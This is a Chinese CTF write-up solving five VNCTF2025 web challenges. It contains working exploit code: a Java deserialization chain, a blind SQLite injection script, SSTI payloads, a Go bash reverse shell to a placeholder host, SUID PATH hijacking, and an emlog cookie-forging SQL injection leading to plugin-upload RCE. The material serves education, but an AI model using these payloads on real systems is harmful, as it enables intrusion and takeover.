VNCTF2025-WEB

前言

随便看看,随便打打。

SQL不想做。

javaGuide

比较简单的缝合,题目给了一个反序列化入口,依赖是fastjson1.2.83,可以直接用fj原生打底。

但这里重写了resolveClass来对序列化数据进行check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
int var5 = denyClasses.length;

for(String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

很显然直接ban的是TemplateImplBadAttributeValueExpException以及Jackson,但是仍然有绕过的方法。

首先我想到了用UTF-8 Overlong Encoding绕过,但是这次竟然没成功,过不了这里的resolveClass

image-20250210004822341

这里直接调了Jackson,可能是这个原因。

绕这个resolveClass的常见方法还有SignedObject二次反序列化,但是直接打也绕不过javax.management.BadAttributeValueExpException,这里换一个触发的EventListenerList,这个来自Jackson原生。

一调就通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package com.eddiemurphy;

import com.alibaba.fastjson.JSONArray;
import com.example.javaguide.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;


public class Exp {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{

List<Object> list = new ArrayList<>();

TemplatesImpl templates = TemplatesImpl.class.newInstance();

setValue(templates, "_bytecodes", new byte[][]{genPayload("calc.exe")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

list.add(templates); //第一次添加为了使得templates变成引用类型从而绕过JsonArray的resolveClass黑名单检测

JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates); //此时在handles这个hash表中查到了映射,后续则会以引用形式输出

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray2);

list.add(bd);

//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));

//触发SignedObject#getObject
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

//BadAttributeValueExpException bd1 = new BadAttributeValueExpException(null);
//setFieldValue(bd1,"val",jsonArray1);


//验证
byte[] payload = ser(eventListenerList);

String payload_b64 = Base64.getEncoder().encodeToString(payload);
System.out.println(payload_b64);

//多打两次,才能缓存成功
//try {
// des_waf(payload_b64);
//} catch (Exception e){
// ;
//}
//
//try {
// des_waf(payload_b64);
//} catch (Exception e){
// ;
//}
//Unauthorized deserialization attempt; javax.management.BadAttributeValueExpException用EventListnerList绕了


}
public static byte[] ser(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static void des_normal(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
objectInputStream.readObject();
}

public static void des_waf(String payload) throws Exception {
byte[] bytes = Base64.getDecoder().decode(payload);
MyObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(bytes));
ois.readObject();
}
}

image-20250210005304971

题目说了不出网,套一个Spring内存马写入byteCode就完事了。

注意二次反序列化第一次会报构造函数的错,因为没有缓存,这种情况打两次就好了。

本地:

image-20250210005422676

远程:

image-20250210005433478

参考:

fastjson1.2.83反序列化漏洞_fastjson 1.2.83漏洞-CSDN博客

Java 反序列化绕过 resolvClass - DumKiy’s blog

Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF ) - FreeBuf网络安全行业门户

MemShell4Spring/No2_ControllerHandlerShell.java at main · Avento/MemShell4Spring

奶龙回家

Sqlite数据库的时间盲注。

也能测出waf是

1
union,空格,=,sleep,bench

但是可以使用randomblob替换。而且/**/也没ban,套一下官方的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url = 'http://node.vnteam.cn:44824/login'
flag = ''

for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
# payload= "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
# payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*".format(i,chr(mid))

datas = {
"username":"eddie",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.19:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

print('\n'+bytes.fromhex(flag).decode('utf-8'))

跑出username和password,但有可能跑错,所以多跑几次:

image-20250210144139964

image-20250210144841158

1
nailong/woaipangmao114514

登录获得flag:

image-20250210144719548

参考:SQLite注入 - FreeBuf网络安全行业门户

Gin

读取源码,可以发现有任意文件读取路由,key.go没有直接给我们,应该是要我们去读的。

然后跟一下会发现key.go影响jwt的token生成,有一个/eval的执行沙箱代码,但是需要admin的鉴权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func Eval(c *gin.Context) {
code := c.PostForm("code")
log.Println(code)
if code == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
return
}
log.Println(containsBannedPackages(code))
if containsBannedPackages(code) {
response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
return
}
tmpFile, err := ioutil.TempFile("", "goeval-*.go")
if err != nil {
log.Println("Error creating temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
return
}
defer os.Remove(tmpFile.Name())

_, err = tmpFile.WriteString(code)
if err != nil {
log.Println("Error writing code to temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
return
}

cmd := exec.Command("go", "run", tmpFile.Name())
output, err := cmd.CombinedOutput()
if err != nil {
log.Println("Error running Go code:", err)
response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
return
}

response.Success(c, gin.H{"result": string(output)}, "success")
}

关键在这里:

1
2
3
4
5
6
7
8
9
10
11
12
func containsBannedPackages(code string) bool {
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}

return false
}

如果admin身份进入沙箱,这里会匹配os/exec,不让你外部执行命令。

但是根本难不倒他,syscall也能打。

其实细心一点看代码,就会发现这里的匹配只匹配了第一个import,意思就是你import两次第二次他根本就不检查,太难绷了……

1
2
3
4
5
6
7
import (
"log"
)

import (
"os/exec"
)

而读取到key.go后,我们能直接拿本地生成的token去套远程环境,因为这里mt_rand伪随机数生成的JWT KEY是唯一的,所以仍然有效。

image-20250210010014143

image-20250210010025744

这里执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main

import (
"log"
"syscall"
)

func main() {
// Define the command and arguments
cmd := "/bin/bash"
args := []string{"bash", "-c", "bash -i >& /dev/tcp/vps/port 0>&1"}

// Execute the command
err := syscall.Exec(cmd, args, nil)
if err != nil {
log.Fatalf("Error executing command: %v", err)
}
}

image-20250210145941925

反弹shell成功:

image-20250210010105078

根目录假flag,suid提权看看:

1
find / -user root -perm -4000 -print 2>/dev/null

找到个/…/Cat,只会输出根目录那个假flag。
发现/…/Cat,我们base64给他弄下来逆一下,主逻辑:

image-20250210010128026

这里的Cat会执行cat /flag拿假flag命令,开始我还没想到,还试了试编译恶意so打LD_PRELOAD,但是失败了。

后面一搜suid方法,搜到了个环境变量提权的手段,新知识啊:

1
2
echo "/bin/bash" > /tmp/cat && chmod +x /tmp/cat
export PATH=/tmp:$PATH

大致意思就是,我们在tmp内写一个cat,将/bin/bash写进去,然后环境变量设置/tmp,那么执行这个/…/Cat时会执行cat,而cat命令就会优先在环境变量寻找,也就是执行了/tmp/cat,此时就执行到root权限的/bin/bash而拿到了高权限shell。

但是直接读/root下的flag好像没反应?算了都chmod 777再弹一次就行了:

img

学生姓名登记系统

{{7*'7'}}能直接查出python的SSTI,但是限制了长度最大23,而且open被ban了。

题目其实提示了一行一个名字,应该是用换行来绕这个限制。这里使用%0a就能绕。

这里的单文件框架其实就是bottle,虽然不太知道,但是知不知道都无所谓,测一测就知道赋值打法能直接常规SSTI一把梭了:

1
2
3
4
5
6
7
8
9
10
{{a:=''}}
{{b:=a.__class__}}
{{c:=b.__base__}}
{{d:=c.__subclasses__}}
{{e:=d()[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{h:=g['pop''en']}}
{{i:=h("cat /flag")}}
{{j:=i.read()}}
1
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[154]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{h:=g['po''pen']}}%0a{{i:=h("cat /flag")}}%0a{{j:=i.read()}}

但这样直接打好像有点识别问题?而且无回显,测{{print(5)}}就能知道。

建议发HTTP包打或者hackbar,用open打:

1
{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

image-20250210153054779

ez_emlog

据说是个0day。

分前台登录和后台RCE两步。

前台登录需要拿到AUTH_KEY,然后SQL注入拿到可用用户名,然后用这个用户名和AUTH_KEY生成可用cookie给CSRF进后台,后台可以上传恶意插件RCE。

去官方下载它的源码,先审计一下install.php

image-20250210153854027

AUTH_KEY和AUTH_COOKIE_NAME都使用了getRandStr()生成随机序列,跟进:

image-20250210154001434

看到了题目提示的mt_rand安全问题,这里只需要获得确定的序列就能破这个伪随机数,预测出AUTH_KEY。

审计源码能知道获得种子seed有两个方法,第一个是注册用户并登录,但是题目给关了。

image-20250210154434571

继续审计源码,发现logout出去也能set-cookie。

image-20250210154358953

审一下得到访问逻辑,那我们可以先访问action=logout路由抓包获取这段cookie拿去爆种子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len = strlen($allowable_characters) - 1;
$pass = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr";

for ($i = 0; $i < strlen($pass); $i++) {
echo "0 0 0 0 ";
}
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}

为了生成符合爆破规则的字符串,可以把前面32位未知的值写为0 0 0 0,运行得到:

1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61

image-20250210154643999

image-20250210161426050

爆出种子:

1
2430606281

回到鉴权逻辑:

image-20250210161242617

image-20250210161342127

显然这里可以构造永真式SQL打个报错注入,这里的UA头是网站页面那个博客里给的UA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$seed = 2430606281;
mt_srand($seed);
$rand_string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()";

$retStr = '';
for($i = 0; $i < 32; $i++) {
$retStr .= substr($rand_string, mt_rand(0, strlen($rand_string) - 1), 1);
}

$user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0';
$auth_key = $retStr.$user_agent;
echo 'AUTH_KEY:' . $auth_key . "\n";

$username = "x' and updatexml(1,concat(0x7e,(select(substr(username,1,16))from(emlog_user)),0x7e),1) #";
$expiration = 0;
$data = $username . '|' . $expiration;
$key = hash_hmac('md5', $data, $auth_key);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

echo "\nEM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=".$username."|".$expiration."|".$hash;
1
2
3
AUTH_KEY:yxuzKkM2QC8L8WLPFvawb(mI4R&NglOAMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=x' and updatexml(1,concat(0x7e,(select(substr(username,1,16))from(emlog_user)),0x7e),1) #|0|1347191e25f82f5b77b6d5b283ee4064

再用得到的用户名生成可用cookie登录后台。

或者用AUTH_KEY生成万能密码直接登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function generateAuthCookie($user_login, $expiration)
{
$key = emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

return $user_login . '|' . $expiration . '|' . $hash;
}

function emHash($data)
{
return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02");
}
var_dump(generateAuthCookie("' or 1=1#", 0));

image-20250211213625630

后续后台上传恶意插件RCE:

Emlog Pro 任意文件上传漏洞(CVE-2023-44974)_emlog v2.2.0后台插件上传漏洞-CSDN博客

yangliukk/emlog

压缩包中必须存在一个与压缩包同名的PHP文件,并且上传成功不会返回上传路径。

image-20250211214340591

打包上传:

image-20250211214831024

image-20250211214930685


VNCTF2025-WEB
https://eddiemurphy89.github.io/2025/02/09/VNCTF2025-WEB/
作者
EddieMurphy
发布于
2025年2月9日
许可协议